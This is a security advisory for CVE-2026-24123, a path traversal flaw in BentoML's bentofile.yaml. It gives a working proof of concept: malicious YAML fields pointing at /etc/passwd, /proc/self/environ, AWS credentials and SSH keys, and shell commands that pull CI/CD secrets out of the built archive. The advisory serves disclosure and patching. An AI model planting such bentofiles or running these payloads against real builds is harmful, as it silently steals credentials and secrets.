CVE-2026-24123: BentoML has a Path Traversal via Bentofile Configuration

Published Jan 26, 2026
·
Updated

Summary

BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setupscript, docker.dockerfiletemplate, conda.environmentyml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.

Details

The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.

Vulnerable function in src/bentoml/internal/utils/filesystem.py:114-131:

python def resolveuserfilepath(filepath: str, ctx: t.Optional[str]) -> str: path = os.path.expanduser(os.path.expandvars(filepath)) if not os.path.isabs(path) and ctx: path = os.path.expanduser(os.path.join(ctx, filepath)) if os.path.exists(path): return os.path.realpath(path) # No path containment check raise FileNotFoundError(f"file {filepath} not found")

Vulnerable code in src/bentoml/internal/bento/bento.py:348-355:

python if buildconfig.description.startswith("file:"): filename = buildconfig.description[5:].strip() if not ctxpath.joinpath(filename).exists(): raise InvalidArgument(f"File {filename} does not exist.") shutil.copy(ctxpath.joinpath(filename), bentoreadme) # Path traversal

All four vulnerable fields: - description: "file:../../../etc/passwd" → copied to README.md - docker.setupscript: "../../../etc/passwd" → copied to env/docker/setupscript - docker.dockerfiletemplate: "../../../secret" → copied to env/docker/Dockerfile.template - conda.environmentyml: "../../../etc/hosts" → copied to env/conda/environment.yml

Multiple path formats are supported, making exploitation trivial:

| Format | description | setupscript | dockerfiletemplate | environmentyml | |--------|---------------|----------------|----------------------|-------------------| | Absolute paths (/etc/passwd) | Yes | Yes | Yes | Yes | | Tilde expansion (~/.ssh/idrsa) | No | Yes | Yes | Yes | | Env vars ($HOME/.aws/credentials) | No | Yes | Yes | Yes | | Relative traversal (../../../etc/passwd) | Yes | Yes | Yes | Yes | | Proc filesystem (/proc/self/environ) | Yes | Yes | Yes | Yes |

The description field uses pathlib.Path.joinpath() directly, while other fields use resolveuserfilepath() which calls os.path.expanduser() and os.path.expandvars().

The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWSSECRETACCESSKEY, GITHUBTOKEN, DATABASEPASSWORD, etc.).

PoC

1. Create a minimal service:

python service.py import bentoml

@bentoml.service class TestService: @bentoml.api def predict(self, text: str) -> str: return text

2. Create malicious bentofile.yaml. Multiple attack vectors are available:

Vector 1: Exfiltrate /etc/passwd via description field yaml service: "service.py:TestService" description: "file:/etc/passwd"

Vector 2: Exfiltrate all environment variables (CI/CD secrets) yaml service: "service.py:TestService" description: "file:/proc/self/environ"

Vector 3: Exfiltrate files using environment variable expansion (docker fields only) yaml service: "service.py:TestService" docker: dockerfiletemplate: "$HOME/.aws/credentials"

Vector 4: Exfiltrate files using tilde expansion (docker fields only) yaml service: "service.py:TestService" docker: dockerfiletemplate: "~/.ssh/idrsa"

Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker. and conda. fields support all path formats.

3. Run build:

bash $ bentoml build Successfully built Bento(tag="testservice:abc123").

4. Verify exfiltration:

bash For description field - check README.md $ cat ~/bentoml/bentos/testservice/abc123/README.md root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...

For /proc/self/environ - extract CI/CD secrets $ cat ~/bentoml/bentos/testservice/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET" AWSSECRETACCESSKEY=AKIA... GITHUBTOKEN=ghp...

For dockerfiletemplate - check Dockerfile.template $ cat ~/bentoml/bentos/testservice/abc123/env/docker/Dockerfile.template [default] awsaccesskeyid = AKIA... awssecretaccesskey = ...

The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.

Impact

Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).

Attack scenarios: - Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated - CI/CD environment variable theft: Using file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWSSECRETACCESSKEY, GITHUBTOKEN, DATABASEURL, etc.), making this a single-payload method to steal all pipeline secrets. - BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel. - Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments

Other sources

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setupscript, docker.dockerfiletemplate, conda.environmentyml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue.

MITRE

Affected Software

2 affected componentsFixes available
pip/bentoml<1.4.34
1.4.34
BentoML BentoML<1.4.34

Event History

Jan 26, 2026
Advisory Published
via GitHub·09:17 PM
Data Sourced
via GitHub·09:17 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·10:14 PM
Data Sourced
via MITRE·10:14 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-24123?

CVE-2026-24123 has a high severity due to its potential to allow unauthorized file access through path traversal.

2

How do I fix CVE-2026-24123?

To fix CVE-2026-24123, upgrade BentoML to version 1.4.34 or later to mitigate the path traversal vulnerability.

3

What kind of attacks can CVE-2026-24123 enable?

CVE-2026-24123 can enable path traversal attacks, allowing attackers to access files outside of the intended directory.

4

Is my version of BentoML safe from CVE-2026-24123?

Versions of BentoML prior to 1.4.34 are vulnerable to CVE-2026-24123 and should be updated immediately.

5

What components in BentoML are affected by CVE-2026-24123?

CVE-2026-24123 affects the `bentofile.yaml` configuration fields including `description`, `docker.setup_script`, `docker.dockerfile_template`, and `conda.environment_yml`.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203